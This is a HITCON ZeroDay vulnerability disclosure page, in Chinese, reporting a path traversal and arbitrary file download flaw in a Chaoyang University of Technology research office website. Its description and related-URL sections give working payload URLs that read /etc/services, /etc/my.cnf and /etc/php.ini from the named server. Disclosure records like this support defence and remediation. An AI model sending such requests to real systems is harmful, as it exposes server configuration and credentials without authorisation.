朝陽科技大學 研究發展處 AFD - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2019-00632
  •  發信 Vendor: 朝陽科技大學
  • Title: 朝陽科技大學 研究發展處 AFD
  • Introduction: AFD

處理狀態

目前狀態

公開
Last Update : 2019/08/30
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2019/06/30 13:51:09 : 新提交 (由 SomeApple 更新此狀態)
  • 2019/06/30 22:14:58 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/07/01 00:54:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/07/01 00:54:43 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/08/30 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2019-00632
  • 通報者:jk82421 (SomeApple)
  • 風險:中
  • 類型:任意檔案下載 (Arbitrary File Download)

參考資料

攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html

OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://www.rdoffice.cyut.edu.tw/downFile.php?file=/etc/services&filename=test
http://www.rdoffice.cyut.edu.tw/downFile.php?file=/etc/my.cnf&filename=test
http://www.rdoffice.cyut.edu.tw/downFile.php?file=/etc/php.ini&filename=test

敘述

雖然不能下載 /etc/passwd, 但可以下載到 /etc/services
Payload: http://www.rdoffice.cyut.edu.tw/downFile.php?file=/etc/services&filename=test
圖片

那因為 server 是 centos, 在來根據預設路徑找到相對應得設定檔
Payload: http://www.rdoffice.cyut.edu.tw/downFile.php?file=/etc/my.cnf&filename=test
Payload: http://www.rdoffice.cyut.edu.tw/downFile.php?file=/etc/php.ini&filename=test
圖片

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;